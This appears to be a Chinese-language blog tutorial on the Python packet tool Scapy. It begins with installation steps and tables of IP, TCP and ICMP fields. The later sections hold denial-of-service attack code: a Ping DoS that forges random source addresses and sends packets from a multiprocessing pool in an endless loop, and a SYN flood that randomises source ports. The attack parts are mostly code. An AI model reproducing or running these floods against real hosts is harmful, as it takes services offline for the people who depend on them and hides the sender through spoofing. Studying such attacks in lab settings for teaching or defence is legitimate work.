Scapy功能介绍以及应用

介绍

• 首先给出官网。
• Scapy是用Python编写的交互式数据包处理工具。
• 使用Scapy可以伪造或解码各种协议的数据包，在线发送它们，捕获它们，匹配请求和答复等等。

下载

• 由于是Python编写的，使用pip install进行安装，这里使用清华源加速。

pip3 install scapy -i https://pypi.tuna.tsinghua.edu.cn/simple

• 直接使用scapy命令打开，若显示无法导入相关库，则对其中缺失的相关包进行安装。

INFO: Can't import matplotlib. Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().

使用

包配置

• 使用TCP/IP协议构造基本数据包，这里调用了Scapy的内置函数IP()和TCP()。

pkt = IP()/TCP()

注意：IP()一定在TCP()之前。

IP()参数解析

参数	含义	默认值
version	版本	4
ihl	报头长度	None
tos	服务类型	0x0
len	报文总长度	None
id	标识符	1
flags	标记	NULL
frag	段偏移	0
ttl	生存周期	64
proto	协议	tcp
chksum	校验和	None
src	源IP地址	127.0.0.1
dst	目的IP地址	127.0.0.1

TCP()参数解析

参数	含义	默认值
sport	源端口	ftp_data
dport	目的端口	http
seq	序号	0
ack	确认号	0
dataofs	数据偏移	None
reserved	保留位	0
flags	控制功能	S
window	窗口大小	8192
chksum	校验和	None
urgptr	紧急指针	0
options	选项	[]

• 根据需求设置数据包之后，使用{PKT_NAME}.show()可以查看报文信息。

###[ IP ]### 
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags= 
  frag= 0
  ttl= 64
  proto= tcp
  chksum= None
  src= 192.168.239.128
  dst= 110.242.68.4
  \options\
###[ TCP ]### 
     sport= ftp_data
     dport= http
     seq= 0
     ack= 0
     dataofs= None
     reserved= 0
     flags= S
     window= 8192
     chksum= None
     urgptr= 0
     options= []

包发送

• 使用send()函数发送数据包，该函数不返回响应。

>>> send(pkt)
.
Sent 1 packets.

sendp()等加了p的函数作用于第二层，发送的是帧。

• sr()和sr1()发送数据包并接收响应。

>>> res, unans = sr(pkt)
Begin emission:
Finished sending 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> res
<Results: TCP:1 UDP:0 ICMP:0 Other:0>
>>> unans
<Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>

sr()和sr1()的区别在于，sr1()只有一个返回值（Results）。

Ping DoS

• 使用Ping进行DoS攻击时，由于Ping使用的是ICMP协议，下面给出ICMP()的参数解析。

ICMP()参数解析

参数	含义	默认值
type	消息类型	echo-request
code	代码	0
chksum	校验和	None
id	标识	0x0
seq	序号	0x0

• Ping攻击报文的设置比较简单，通过随机配置ICMP()也能实现Ping DoS的攻击效果。
• 结合IP()设置目标主机IP。

#判断是否随机源
if random_source ==True:
    #随机构造IP
    source_ip = Random_IP()

    ip_proto = IP(src = source_ip,
                  dst = host,
                  ttl = 1,
                  id = id_ip)
else:
    ip_proto = IP(dst = host,
                  ttl = 1,
                  id = id_ip)
	#id_ping和seq_ping均为随机配置
    icmp_proto = ICMP(id = id_ping,
                      seq = seq_ping)
    #设置数据内容
    data = b'ping dos'
	
    pkt = ip_proto / icmp_proto / data *100
    send(pkt)

• 在这基础上，要想达到效果，我们需要增加攻击报文的量。
• 通过循环重复攻击之外，我们采用多进程并发的方式增大攻击频率。

#processes设置太高会影响本机运作，太低起不到干扰效果
def ping_concurrent(host, processes=5, random_source=True):
    #创建进程池
    pool = multiprocessing.Pool(processes=processes)
    while True:
        try:
            #选择进程的任务和参数
            pool.apply_async(ping_times, (host, random_source))
        except KeyboardInterrupt:
            pool.terminate()

SYN_Flood

• 多进程和重复次数的性质和Ping DoS一致，这里主要的区别在于把ICMP协议换成了TCP协议。

# Randomly generate source port
src_port = randint(1,65535)

tcp_proto = TCP(sport = src_port,
                dport = port,
                flags = "S")

pkt = ip_proto / tcp_proto

• 其中flags变量表示了TCP三次握手的不同状态，S表示SYN。